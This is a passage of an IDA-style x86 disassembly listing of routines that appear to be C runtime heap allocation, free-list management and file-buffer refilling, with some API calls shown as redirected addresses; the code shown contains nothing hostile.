		mov	esi, [edi+8]
		mov	[ecx+8], esi
		mov	esi, [ebp+arg_8]
		add	esi, [ebp+var_4]
		mov	[ebp+arg_8], esi
		sar	esi, 4
		dec	esi
		cmp	esi, 3Fh
		jbe	short loc_41E8E8
		push	3Fh
		pop	esi


loc_41E8E8:				; CODE XREF: sub_41E680+1DDj
					; sub_41E680+263j
		mov	ecx, [ebp+var_C]
		mov	edi, [ecx+esi*8+4]
		lea	ecx, [ecx+esi*8]
		mov	[ebx+4], edi
		mov	[ebx+8], ecx
		mov	[ecx+4], ebx
		mov	ecx, [ebx+4]
		mov	[ecx+8], ebx
		mov	ecx, [ebx+4]
		cmp	ecx, [ebx+8]
		jnz	short loc_41E965
		mov	cl, [esi+eax+4]
		cmp	esi, 20h
		mov	byte ptr [ebp+arg_4+3],	cl
		inc	cl
		mov	[esi+eax+4], cl
		jnb	short loc_41E93C
		cmp	byte ptr [ebp+arg_4+3],	0
		jnz	short loc_41E92F
		mov	edi, 80000000h
		mov	ecx, esi
		shr	edi, cl
		mov	ecx, [ebp+arg_0]
		or	[ecx], edi


loc_41E92F:				; CODE XREF: sub_41E680+29Fj
		lea	eax, [eax+edx*4+44h]
		mov	edx, 80000000h
		mov	ecx, esi
		jmp	short loc_41E961
; ---------------------------------------------------------------------------


loc_41E93C:				; CODE XREF: sub_41E680+299j
		cmp	byte ptr [ebp+arg_4+3],	0
		jnz	short loc_41E952
		lea	ecx, [esi-20h]
		mov	edi, 80000000h
		shr	edi, cl
		mov	ecx, [ebp+arg_0]
		or	[ecx+4], edi


loc_41E952:				; CODE XREF: sub_41E680+2C0j
		lea	eax, [eax+edx*4+0C4h]
		lea	ecx, [esi-20h]
		mov	edx, 80000000h


loc_41E961:				; CODE XREF: sub_41E680+2BAj
		shr	edx, cl
		or	[eax], edx


loc_41E965:				; CODE XREF: sub_41E680+287j
		mov	eax, [ebp+arg_8]
		mov	[ebx], eax
		mov	[eax+ebx-4], eax


loc_41E96E:				; CODE XREF: sub_41E680+1A2j
					; sub_41E680:loc_41E82Ej
		push	1
		pop	eax


loc_41E971:				; CODE XREF: sub_41E680+1A9j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_41E680	endp


; =============== S U B	R O U T	I N E =======================================



sub_41E976	proc near		; CODE XREF: sub_41EC6E:loc_41EE3Dp
		cmp	dword_43A9C0, 0FFFFFFFFh
		push	ebx
		push	ebp
		push	esi
		push	edi
		jnz	short loc_41E98A
		mov	esi, offset off_43A9B0
		jmp	short loc_41E9A7
; ---------------------------------------------------------------------------


loc_41E98A:				; CODE XREF: sub_41E976+Bj
		push	2020h
		push	0
		push	dword_4DCFE4
		nop
		call	near ptr 2790000h
		mov	esi, eax
		test	esi, esi
		jz	loc_41EAB3


loc_41E9A7:				; CODE XREF: sub_41E976+12j
		mov	ebp, dword_4271C4
		push	4
		push	2000h
		push	400000h
		push	0
		call	ebp
		mov	edi, eax
		test	edi, edi
		jz	loc_41EA9C
		push	4
		mov	ebx, 10000h
		push	1000h
		push	ebx
		push	edi
		call	ebp
		test	eax, eax
		jz	loc_41EA8E
		mov	eax, offset off_43A9B0
		cmp	esi, eax
		jnz	short loc_41EA06
		cmp	off_43A9B0, 0
		jnz	short loc_41E9F6
		mov	off_43A9B0, eax


loc_41E9F6:				; CODE XREF: sub_41E976+79j
		cmp	off_43A9B4, 0
		jnz	short loc_41EA1B
		mov	off_43A9B4, eax
		jmp	short loc_41EA1B
; ---------------------------------------------------------------------------


loc_41EA06:				; CODE XREF: sub_41E976+70j
		mov	[esi], eax
		mov	eax, off_43A9B4
		mov	[esi+4], eax
		mov	off_43A9B4, esi
		mov	eax, [esi+4]
		mov	[eax], esi


loc_41EA1B:				; CODE XREF: sub_41E976+87j
					; sub_41E976+8Ej
		lea	eax, [edi+400000h]
		lea	ecx, [esi+98h]
		mov	[esi+14h], eax
		lea	eax, [esi+18h]
		mov	[esi+0Ch], ecx
		mov	[esi+10h], edi
		mov	[esi+8], eax
		xor	ebp, ebp
		mov	ecx, 0F1h


loc_41EA3D:				; CODE XREF: sub_41E976+E2j
		xor	edx, edx
		cmp	ebp, 10h
		setnl	dl
		dec	edx
		and	edx, ecx
		dec	edx
		inc	ebp
		mov	[eax], edx
		mov	[eax+4], ecx
		add	eax, 8
		cmp	ebp, 400h
		jl	short loc_41EA3D
		push	ebx
		push	0
		push	edi
		call	sub_41B590
		add	esp, 0Ch


loc_41EA66:				; CODE XREF: sub_41E976+112j
		mov	eax, [esi+10h]
		add	eax, ebx
		cmp	edi, eax
		jnb	short loc_41EA8A
		or	byte ptr [edi+0F8h], 0FFh
		lea	eax, [edi+8]
		mov	[edi], eax
		mov	dword ptr [edi+4], 0F0h
		add	edi, 1000h
		jmp	short loc_41EA66
; ---------------------------------------------------------------------------


loc_41EA8A:				; CODE XREF: sub_41E976+F7j
		mov	eax, esi
		jmp	short loc_41EAB5
; ---------------------------------------------------------------------------


loc_41EA8E:				; CODE XREF: sub_41E976+63j
		push	8000h
		push	0
		push	edi
		nop
		call	near ptr 2890689h


loc_41EA9C:				; CODE XREF: sub_41E976+4Bj
		cmp	esi, offset off_43A9B0
		jz	short loc_41EAB3
		push	esi
		push	0
		push	dword_4DCFE4
		nop
		call	near ptr 2780000h


loc_41EAB3:				; CODE XREF: sub_41E976+2Bj
					; sub_41E976+12Cj
		xor	eax, eax


loc_41EAB5:				; CODE XREF: sub_41E976+116j
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		retn
sub_41E976	endp


; =============== S U B	R O U T	I N E =======================================



sub_41EABA	proc near		; CODE XREF: sub_41EB10+A5p

arg_0		= dword	ptr  4

		push	esi
		mov	esi, [esp+4+arg_0]
		push	8000h
		push	0
		push	dword ptr [esi+10h]
		nop
		call	near ptr 2890689h
		cmp	off_43C9D0, esi
		jnz	short loc_41EADF
		mov	eax, [esi+4]
		mov	off_43C9D0, eax


loc_41EADF:				; CODE XREF: sub_41EABA+1Bj
		cmp	esi, offset off_43A9B0
		jz	short loc_41EB07
		mov	eax, [esi+4]
		mov	ecx, [esi]
		push	esi
		push	0
		mov	[eax], ecx
		mov	eax, [esi]
		mov	ecx, [esi+4]
		mov	[eax+4], ecx
		push	dword_4DCFE4
		nop
		call	near ptr 2780000h
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_41EB07:				; CODE XREF: sub_41EABA+2Bj
		or	dword_43A9C0, 0FFFFFFFFh
		pop	esi
		retn
sub_41EABA	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41EB10	proc near		; CODE XREF: sub_41EC29+3Ep

var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ebx
		push	esi
		mov	esi, off_43A9B4
		push	edi


loc_41EB1D:				; CODE XREF: sub_41EB10+B7j
		cmp	dword ptr [esi+10h], 0FFFFFFFFh
		jz	loc_41EBBB
		and	[ebp+var_4], 0
		lea	edi, [esi+2010h]
		mov	ebx, 3FF000h


loc_41EB36:				; CODE XREF: sub_41EB10+72j
		cmp	dword ptr [edi], 0F0h
		jnz	short loc_41EB77
		mov	eax, ebx
		push	4000h
		add	eax, [esi+10h]
		push	1000h
		push	eax
		nop
		call	near ptr 2890689h
		test	eax, eax
		jz	short loc_41EB77
		or	dword ptr [edi], 0FFFFFFFFh
		dec	dword_4DB9D4
		mov	eax, [esi+0Ch]
		test	eax, eax
		jz	short loc_41EB6C
		cmp	eax, edi
		jbe	short loc_41EB6F


loc_41EB6C:				; CODE XREF: sub_41EB10+56j
		mov	[esi+0Ch], edi


loc_41EB6F:				; CODE XREF: sub_41EB10+5Aj
		inc	[ebp+var_4]
		dec	[ebp+arg_0]
		jz	short loc_41EB84


loc_41EB77:				; CODE XREF: sub_41EB10+2Cj
					; sub_41EB10+46j
		sub	ebx, 1000h
		sub	edi, 8
		test	ebx, ebx
		jge	short loc_41EB36


loc_41EB84:				; CODE XREF: sub_41EB10+65j
		cmp	[ebp+var_4], 0
		mov	ecx, esi
		mov	esi, [esi+4]
		jz	short loc_41EBBB
		cmp	dword ptr [ecx+18h], 0FFFFFFFFh
		jnz	short loc_41EBBB
		push	1
		lea	eax, [ecx+20h]
		pop	edx


loc_41EB9B:				; CODE XREF: sub_41EB10+9Aj
		cmp	dword ptr [eax], 0FFFFFFFFh
		jnz	short loc_41EBAC
		inc	edx
		add	eax, 8
		cmp	edx, 400h
		jl	short loc_41EB9B


loc_41EBAC:				; CODE XREF: sub_41EB10+8Ej
		cmp	edx, 400h
		jnz	short loc_41EBBB
		push	ecx
		call	sub_41EABA
		pop	ecx


loc_41EBBB:				; CODE XREF: sub_41EB10+11j
					; sub_41EB10+7Dj ...
		cmp	esi, off_43A9B4
		jz	short loc_41EBCD
		cmp	[ebp+arg_0], 0
		jg	loc_41EB1D


loc_41EBCD:				; CODE XREF: sub_41EB10+B1j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_41EB10	endp


; =============== S U B	R O U T	I N E =======================================



sub_41EBD2	proc near		; CODE XREF: sub_41B0B1+3Ap
					; sub_41B202+173p ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		mov	eax, [esp+arg_0]
		mov	edx, offset off_43A9B0
		push	esi
		mov	ecx, edx


loc_41EBDE:				; CODE XREF: sub_41EBD2+1Cj
		cmp	eax, [ecx+10h]
		jbe	short loc_41EBE8
		cmp	eax, [ecx+14h]
		jb	short loc_41EBF0


loc_41EBE8:				; CODE XREF: sub_41EBD2+Fj
		mov	ecx, [ecx]
		cmp	ecx, edx
		jz	short loc_41EC25
		jmp	short loc_41EBDE
; ---------------------------------------------------------------------------


loc_41EBF0:				; CODE XREF: sub_41EBD2+14j
		test	al, 0Fh
		jnz	short loc_41EC25
		mov	esi, eax
		mov	edx, 100h
		and	esi, 0FFFh
		cmp	esi, edx
		jb	short loc_41EC25
		mov	esi, [esp+4+arg_4]
		mov	[esi], ecx
		mov	esi, [esp+4+arg_8]
		mov	ecx, eax
		and	cx, 0F000h
		sub	eax, ecx
		mov	[esi], ecx
		sub	eax, edx
		pop	esi
		sar	eax, 4
		lea	eax, [eax+ecx+8]
		retn
; ---------------------------------------------------------------------------


loc_41EC25:				; CODE XREF: sub_41EBD2+1Aj
					; sub_41EBD2+20j ...
		xor	eax, eax
		pop	esi
		retn
sub_41EBD2	endp


; =============== S U B	R O U T	I N E =======================================



sub_41EC29	proc near		; CODE XREF: sub_41B0B1+4Dp
					; sub_41B202+1D5p ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		mov	eax, [esp+arg_0]
		mov	ecx, [esp+arg_4]
		sub	ecx, [eax+10h]
		sar	ecx, 0Ch
		lea	eax, [eax+ecx*8+18h]
		mov	ecx, [esp+arg_8]
		movzx	edx, byte ptr [ecx]
		add	[eax], edx
		and	byte ptr [ecx],	0
		cmp	dword ptr [eax], 0F0h
		mov	dword ptr [eax+4], 0F1h
		jnz	short locret_41EC6D
		inc	dword_4DB9D4
		cmp	dword_4DB9D4, 20h
		jnz	short locret_41EC6D
		push	10h
		call	sub_41EB10
		pop	ecx

locret_41EC6D:				; CODE XREF: sub_41EC29+2Bj
					; sub_41EC29+3Aj
		retn
sub_41EC29	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41EC6E	proc near		; CODE XREF: sub_41B202+1ACp
					; sub_41B513+4Ap ...

var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		push	ebx
		push	esi
		mov	esi, off_43C9D0
		push	edi


loc_41EC7C:				; CODE XREF: sub_41EC6E+C6j
		mov	edx, [esi+10h]
		cmp	edx, 0FFFFFFFFh
		jz	loc_41ED27
		mov	edi, [esi+8]
		lea	ecx, [esi+2018h]
		mov	eax, edi
		sub	eax, esi
		sub	eax, 18h
		sar	eax, 3
		shl	eax, 0Ch
		add	eax, edx
		cmp	edi, ecx
		mov	[ebp+var_4], eax
		jnb	short loc_41ECE1


loc_41ECA7:				; CODE XREF: sub_41EC6E+6Fj
		mov	ecx, [edi]
		mov	ebx, [ebp+arg_0]
		cmp	ecx, ebx
		jl	short loc_41ECCA
		cmp	[edi+4], ebx
		jbe	short loc_41ECCA
		push	ebx
		push	ecx
		push	eax
		call	sub_41EE76
		add	esp, 0Ch
		test	eax, eax
		jnz	short loc_41ED39
		mov	eax, [ebp+var_4]
		mov	[edi+4], ebx


loc_41ECCA:				; CODE XREF: sub_41EC6E+40j
					; sub_41EC6E+45j
		add	edi, 8
		lea	ecx, [esi+2018h]
		add	eax, 1000h
		cmp	edi, ecx
		mov	[ebp+var_4], eax
		jb	short loc_41ECA7
		jmp	short loc_41ECE4
; ---------------------------------------------------------------------------


loc_41ECE1:				; CODE XREF: sub_41EC6E+37j
		mov	ebx, [ebp+arg_0]


loc_41ECE4:				; CODE XREF: sub_41EC6E+71j
		mov	eax, [esi+8]
		mov	ecx, [esi+10h]
		lea	edi, [esi+18h]
		mov	[ebp+var_8], eax
		cmp	edi, eax
		mov	[ebp+var_4], ecx
		jnb	short loc_41ED2A


loc_41ECF7:				; CODE XREF: sub_41EC6E+B5j
		mov	eax, [edi]
		cmp	eax, ebx
		jl	short loc_41ED16
		cmp	[edi+4], ebx
		jbe	short loc_41ED16
		push	ebx
		push	eax
		push	[ebp+var_4]
		call	sub_41EE76
		add	esp, 0Ch
		test	eax, eax
		jnz	short loc_41ED39
		mov	[edi+4], ebx


loc_41ED16:				; CODE XREF: sub_41EC6E+8Dj
					; sub_41EC6E+92j
		add	[ebp+var_4], 1000h
		add	edi, 8
		cmp	edi, [ebp+var_8]
		jb	short loc_41ECF7
		jmp	short loc_41ED2A
; ---------------------------------------------------------------------------


loc_41ED27:				; CODE XREF: sub_41EC6E+14j
		mov	ebx, [ebp+arg_0]


loc_41ED2A:				; CODE XREF: sub_41EC6E+87j
					; sub_41EC6E+B7j
		mov	esi, [esi]
		cmp	esi, off_43C9D0
		jz	short loc_41ED49
		jmp	loc_41EC7C
; ---------------------------------------------------------------------------


loc_41ED39:				; CODE XREF: sub_41EC6E+54j
					; sub_41EC6E+A3j
		mov	off_43C9D0, esi
		sub	[edi], ebx
		mov	[esi+8], edi
		jmp	loc_41EE71
; ---------------------------------------------------------------------------


loc_41ED49:				; CODE XREF: sub_41EC6E+C4j
		mov	eax, offset off_43A9B0
		mov	edi, eax


loc_41ED50:				; CODE XREF: sub_41EC6E+F8j
		cmp	dword ptr [edi+10h], 0FFFFFFFFh
		jz	short loc_41ED5C
		cmp	dword ptr [edi+0Ch], 0
		jnz	short loc_41ED68


loc_41ED5C:				; CODE XREF: sub_41EC6E+E6j
		mov	edi, [edi]
		cmp	edi, eax
		jz	loc_41EE3D
		jmp	short loc_41ED50
; ---------------------------------------------------------------------------


loc_41ED68:				; CODE XREF: sub_41EC6E+ECj
		mov	ebx, [edi+0Ch]
		and	[ebp+var_4], 0
		mov	esi, ebx
		mov	eax, ebx
		sub	esi, edi
		sub	esi, 18h
		sar	esi, 3
		shl	esi, 0Ch
		add	esi, [edi+10h]
		cmp	dword ptr [ebx], 0FFFFFFFFh
		jnz	short loc_41ED97


loc_41ED86:				; CODE XREF: sub_41EC6E+127j
		cmp	[ebp+var_4], 10h
		jge	short loc_41ED97
		add	eax, 8
		inc	[ebp+var_4]
		cmp	dword ptr [eax], 0FFFFFFFFh
		jz	short loc_41ED86


loc_41ED97:				; CODE XREF: sub_41EC6E+116j
					; sub_41EC6E+11Cj
		mov	eax, [ebp+var_4]
		push	4
		shl	eax, 0Ch
		push	1000h
		push	eax
		push	esi
		mov	[ebp+var_8], eax
		nop
		call	near ptr 28907B8h
		cmp	eax, esi
		jnz	loc_41EE6F
		push	0
		push	[ebp+var_8]
		push	esi
		call	sub_41B590
		mov	edx, [ebp+var_4]
		add	esp, 0Ch
		test	edx, edx
		mov	ecx, ebx
		jle	short loc_41EDFE
		lea	eax, [esi+4]
		mov	[ebp+var_4], edx


loc_41EDD4:				; CODE XREF: sub_41EC6E+18Ej
		or	byte ptr [eax+0F4h], 0FFh
		lea	edx, [eax+4]
		mov	[eax-4], edx
		mov	edx, 0F0h
		mov	[eax], edx
		mov	[ecx], edx
		mov	dword ptr [ecx+4], 0F1h
		add	eax, 1000h
		add	ecx, 8
		dec	[ebp+var_4]
		jnz	short loc_41EDD4


loc_41EDFE:				; CODE XREF: sub_41EC6E+15Ej
		mov	off_43C9D0, edi
		lea	eax, [edi+2018h]


loc_41EE0A:				; CODE XREF: sub_41EC6E+1A8j
		cmp	ecx, eax
		jnb	short loc_41EE1A
		cmp	dword ptr [ecx], 0FFFFFFFFh
		jz	short loc_41EE18
		add	ecx, 8
		jmp	short loc_41EE0A
; ---------------------------------------------------------------------------


loc_41EE18:				; CODE XREF: sub_41EC6E+1A3j
		cmp	ecx, eax


loc_41EE1A:				; CODE XREF: sub_41EC6E+19Ej
		sbb	eax, eax
		and	eax, ecx
		mov	[edi+0Ch], eax
		mov	eax, [ebp+arg_0]
		mov	[esi+8], al
		mov	[edi+8], ebx
		sub	[ebx], eax
		sub	[esi+4], eax
		lea	ecx, [esi+eax+8]
		lea	eax, [esi+100h]
		mov	[esi], ecx
		jmp	short loc_41EE71
; ---------------------------------------------------------------------------


loc_41EE3D:				; CODE XREF: sub_41EC6E+F2j
		call	sub_41E976
		test	eax, eax
		jz	short loc_41EE6F
		mov	ecx, [eax+10h]
		mov	[ecx+8], bl
		lea	edx, [ecx+ebx+8]
		mov	off_43C9D0, eax
		mov	[ecx], edx
		mov	edx, 0F0h
		sub	edx, ebx
		mov	[ecx+4], edx
		movzx	edx, bl
		sub	[eax+18h], edx
		lea	eax, [ecx+100h]
		jmp	short loc_41EE71
; ---------------------------------------------------------------------------


loc_41EE6F:				; CODE XREF: sub_41EC6E+143j
					; sub_41EC6E+1D6j
		xor	eax, eax


loc_41EE71:				; CODE XREF: sub_41EC6E+D6j
					; sub_41EC6E+1CDj ...
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_41EC6E	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41EE76	proc near		; CODE XREF: sub_41EC6E+4Ap
					; sub_41EC6E+99p

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		push	ecx
		mov	ecx, [ebp+arg_0]
		mov	edx, [ebp+arg_8]
		push	ebx
		push	esi
		mov	esi, [ecx+4]
		push	edi
		mov	edi, [ecx]
		lea	ebx, [ecx+0F8h]
		cmp	esi, edx
		mov	[ebp+var_4], edi
		mov	eax, edi
		mov	[ebp+arg_0], ebx
		jb	short loc_41EEBB
		lea	eax, [edi+edx]
		mov	[edi], dl
		cmp	eax, ebx
		jnb	short loc_41EEAA
		add	[ecx], edx
		sub	[ecx+4], edx
		jmp	short loc_41EEB3
; ---------------------------------------------------------------------------


loc_41EEAA:				; CODE XREF: sub_41EE76+2Bj
		and	dword ptr [ecx+4], 0
		lea	eax, [ecx+8]
		mov	[ecx], eax


loc_41EEB3:				; CODE XREF: sub_41EE76+32j
		lea	eax, [edi+8]
		jmp	loc_41EF89
; ---------------------------------------------------------------------------


loc_41EEBB:				; CODE XREF: sub_41EE76+22j
		add	esi, edi
		cmp	byte ptr [esi],	0
		jz	short loc_41EEC4
		mov	eax, esi


loc_41EEC4:				; CODE XREF: sub_41EE76+4Aj
		lea	esi, [eax+edx]
		cmp	esi, ebx
		jnb	short loc_41EF0E


loc_41EECB:				; CODE XREF: sub_41EE76+96j
		mov	bl, [eax]
		test	bl, bl
		jnz	short loc_41EF01
		push	1
		lea	ebx, [eax+1]
		pop	esi


loc_41EED7:				; CODE XREF: sub_41EE76+68j
		cmp	byte ptr [ebx],	0
		jnz	short loc_41EEE0
		inc	ebx
		inc	esi
		jmp	short loc_41EED7
; ---------------------------------------------------------------------------


loc_41EEE0:				; CODE XREF: sub_41EE76+64j
		cmp	esi, edx
		jnb	short loc_41EF32
		cmp	eax, [ebp+var_4]
		jnz	short loc_41EEEE
		mov	[ecx+4], esi
		jmp	short loc_41EEFA
; ---------------------------------------------------------------------------


loc_41EEEE:				; CODE XREF: sub_41EE76+71j
		sub	[ebp+arg_4], esi
		cmp	[ebp+arg_4], edx
		jb	loc_41EF93


loc_41EEFA:				; CODE XREF: sub_41EE76+76j
		mov	edi, [ebp+var_4]
		mov	eax, ebx
		jmp	short loc_41EF06
; ---------------------------------------------------------------------------


loc_41EF01:				; CODE XREF: sub_41EE76+59j
		movzx	esi, bl
		add	eax, esi


loc_41EF06:				; CODE XREF: sub_41EE76+89j
		lea	esi, [eax+edx]
		cmp	esi, [ebp+arg_0]
		jb	short loc_41EECB


loc_41EF0E:				; CODE XREF: sub_41EE76+53j
		lea	esi, [ecx+8]


loc_41EF11:				; CODE XREF: sub_41EE76+EBj
					; sub_41EE76+F2j
		cmp	esi, edi
		jnb	short loc_41EF93
		lea	eax, [esi+edx]
		cmp	eax, [ebp+arg_0]
		jnb	short loc_41EF93
		mov	al, [esi]
		test	al, al
		jnz	short loc_41EF63
		push	1
		lea	ebx, [esi+1]
		pop	eax


loc_41EF29:				; CODE XREF: sub_41EE76+BAj
		cmp	byte ptr [ebx],	0
		jnz	short loc_41EF53
		inc	ebx
		inc	eax
		jmp	short loc_41EF29
; ---------------------------------------------------------------------------


loc_41EF32:				; CODE XREF: sub_41EE76+6Cj
		lea	ebx, [eax+edx]
		cmp	ebx, [ebp+arg_0]
		jnb	short loc_41EF43
		sub	esi, edx
		mov	[ecx], ebx
		mov	[ecx+4], esi
		jmp	short loc_41EF4C
; ---------------------------------------------------------------------------


loc_41EF43:				; CODE XREF: sub_41EE76+C2j
		and	dword ptr [ecx+4], 0
		lea	esi, [ecx+8]
		mov	[ecx], esi


loc_41EF4C:				; CODE XREF: sub_41EE76+CBj
		mov	[eax], dl
		add	eax, 8
		jmp	short loc_41EF89
; ---------------------------------------------------------------------------


loc_41EF53:				; CODE XREF: sub_41EE76+B6j
		cmp	eax, edx
		jnb	short loc_41EF6A
		sub	[ebp+arg_4], eax
		cmp	[ebp+arg_4], edx
		jb	short loc_41EF93
		mov	esi, ebx
		jmp	short loc_41EF11
; ---------------------------------------------------------------------------


loc_41EF63:				; CODE XREF: sub_41EE76+ABj
		movzx	eax, al
		add	esi, eax
		jmp	short loc_41EF11
; ---------------------------------------------------------------------------


loc_41EF6A:				; CODE XREF: sub_41EE76+DFj
		lea	ebx, [esi+edx]
		cmp	ebx, [ebp+arg_0]
		jnb	short loc_41EF7B
		sub	eax, edx
		mov	[ecx], ebx
		mov	[ecx+4], eax
		jmp	short loc_41EF84
; ---------------------------------------------------------------------------


loc_41EF7B:				; CODE XREF: sub_41EE76+FAj
		and	dword ptr [ecx+4], 0
		lea	eax, [ecx+8]
		mov	[ecx], eax


loc_41EF84:				; CODE XREF: sub_41EE76+103j
		mov	[esi], dl
		lea	eax, [esi+8]


loc_41EF89:				; CODE XREF: sub_41EE76+40j
					; sub_41EE76+DBj
		imul	ecx, 0Fh
		shl	eax, 4
		sub	eax, ecx
		jmp	short loc_41EF95
; ---------------------------------------------------------------------------


loc_41EF93:				; CODE XREF: sub_41EE76+7Ej
					; sub_41EE76+9Dj ...
		xor	eax, eax


loc_41EF95:				; CODE XREF: sub_41EE76+11Bj
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_41EE76	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41EF9A	proc near		; CODE XREF: sub_41B202+19Ap

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		push	ecx
		mov	edx, [ebp+arg_8]
		push	ebx
		mov	ebx, [ebp+arg_4]
		push	esi
		movzx	ecx, byte ptr [edx]
		push	edi
		mov	edi, [ebp+arg_0]
		and	[ebp+var_4], 0
		mov	eax, ebx
		sub	eax, [edi+10h]
		sar	eax, 0Ch
		cmp	ecx, [ebp+arg_C]
		lea	edi, [edi+eax*8+18h]
		jbe	short loc_41EFD4
		mov	eax, [ebp+arg_C]
		sub	ecx, eax
		mov	[edx], al
		add	[edi], ecx
		mov	dword ptr [edi+4], 0F1h
		jmp	short loc_41F034
; ---------------------------------------------------------------------------


loc_41EFD4:				; CODE XREF: sub_41EF9A+26j
		jnb	short loc_41F03B
		mov	eax, [ebp+arg_C]
		lea	esi, [edx+eax]
		lea	eax, [ebx+0F8h]
		cmp	eax, esi
		jb	short loc_41F03B
		lea	eax, [ecx+edx]


loc_41EFE9:				; CODE XREF: sub_41EF9A+59j
		cmp	eax, esi
		jnb	short loc_41EFF7
		cmp	byte ptr [eax],	0
		jnz	short loc_41EFF5
		inc	eax
		jmp	short loc_41EFE9
; ---------------------------------------------------------------------------


loc_41EFF5:				; CODE XREF: sub_41EF9A+56j
		cmp	eax, esi


loc_41EFF7:				; CODE XREF: sub_41EF9A+51j
		jnz	short loc_41F03B
		mov	al, byte ptr [ebp+arg_C]
		mov	[edx], al
		mov	eax, [ebx]
		cmp	edx, eax
		ja	short loc_41F02F
		cmp	esi, eax
		jbe	short loc_41F02F
		lea	eax, [ebx+0F8h]
		cmp	esi, eax
		jnb	short loc_41F026
		xor	eax, eax
		mov	[ebx], esi
		cmp	[esi], al
		jnz	short loc_41F021


loc_41F01A:				; CODE XREF: sub_41EF9A+85j
		inc	eax
		cmp	byte ptr [esi+eax], 0
		jz	short loc_41F01A


loc_41F021:				; CODE XREF: sub_41EF9A+7Ej
		mov	[ebx+4], eax
		jmp	short loc_41F02F
; ---------------------------------------------------------------------------


loc_41F026:				; CODE XREF: sub_41EF9A+76j
		and	dword ptr [ebx+4], 0
		lea	eax, [ebx+8]
		mov	[ebx], eax


loc_41F02F:				; CODE XREF: sub_41EF9A+68j
					; sub_41EF9A+6Cj ...
		sub	ecx, [ebp+arg_C]
		add	[edi], ecx


loc_41F034:				; CODE XREF: sub_41EF9A+38j
		mov	[ebp+var_4], 1


loc_41F03B:				; CODE XREF: sub_41EF9A:loc_41EFD4j
					; sub_41EF9A+4Aj ...
		mov	eax, [ebp+var_4]
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_41EF9A	endp


; =============== S U B	R O U T	I N E =======================================



sub_41F043	proc near		; CODE XREF: sub_41B11A+A9p
					; sub_41BB4F+2Dp ...

arg_0		= dword	ptr  4

		push	esi
		mov	esi, [esp+4+arg_0]
		mov	eax, [esi+0Ch]
		test	al, 83h
		jz	loc_41F117
		test	al, 40h
		jnz	loc_41F117
		test	al, 2
		jz	short loc_41F069
		or	al, 20h
		mov	[esi+0Ch], eax
		jmp	loc_41F117
; ---------------------------------------------------------------------------


loc_41F069:				; CODE XREF: sub_41F043+1Aj
		or	al, 1
		test	ax, 10Ch
		mov	[esi+0Ch], eax
		jnz	short loc_41F07D
		push	esi
		call	sub_4239EF
		pop	ecx
		jmp	short loc_41F082
; ---------------------------------------------------------------------------


loc_41F07D:				; CODE XREF: sub_41F043+2Fj
		mov	eax, [esi+8]
		mov	[esi], eax


loc_41F082:				; CODE XREF: sub_41F043+38j
		push	dword ptr [esi+18h]
		push	dword ptr [esi+8]
		push	dword ptr [esi+10h]
		call	sub_41F11C
		add	esp, 0Ch
		mov	[esi+4], eax
		test	eax, eax
		jz	short loc_41F106
		cmp	eax, 0FFFFFFFFh
		jz	short loc_41F106
		mov	edx, [esi+0Ch]
		test	dl, 82h
		jnz	short loc_41F0DB
		mov	ecx, [esi+10h]
		push	edi
		cmp	ecx, 0FFFFFFFFh
		jz	short loc_41F0C4
		mov	edi, ecx
		sar	edi, 5
		and	ecx, 1Fh
		mov	edi, dword_4DCCA0[edi*4]
		lea	edi, [edi+ecx*8]
		jmp	short loc_41F0C9
; ---------------------------------------------------------------------------


loc_41F0C4:				; CODE XREF: sub_41F043+6Bj
		mov	edi, offset dword_43D030


loc_41F0C9:				; CODE XREF: sub_41F043+7Fj
		mov	cl, [edi+4]
		pop	edi
		and	cl, 82h
		cmp	cl, 82h
		jnz	short loc_41F0DB
		or	dh, 20h
		mov	[esi+0Ch], edx


loc_41F0DB:				; CODE XREF: sub_41F043+62j
					; sub_41F043+90j
		cmp	dword ptr [esi+18h], 200h
		jnz	short loc_41F0F8
		mov	ecx, [esi+0Ch]
		test	cl, 8
		jz	short loc_41F0F8
		test	ch, 4
		jnz	short loc_41F0F8
		mov	dword ptr [esi+18h], 1000h


loc_41F0F8:				; CODE XREF: sub_41F043+9Fj
					; sub_41F043+A7j ...
		mov	ecx, [esi]
		dec	eax
		mov	[esi+4], eax
		movzx	eax, byte ptr [ecx]
		inc	ecx
		mov	[esi], ecx
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_41F106:				; CODE XREF: sub_41F043+55j
					; sub_41F043+5Aj
		neg	eax
		sbb	eax, eax
		and	eax, 10h
		add	eax, 10h
		or	[esi+0Ch], eax
		and	dword ptr [esi+4], 0


loc_41F117:				; CODE XREF: sub_41F043+Aj
					; sub_41F043+12j ...
		or	eax, 0FFFFFFFFh
		pop	esi
		retn
sub_41F043	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41F11C	proc near		; CODE XREF: sub_41B11A+90p
					; sub_41F043+48p ...

var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_1		= byte ptr -1
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 0Ch
		push	ebx
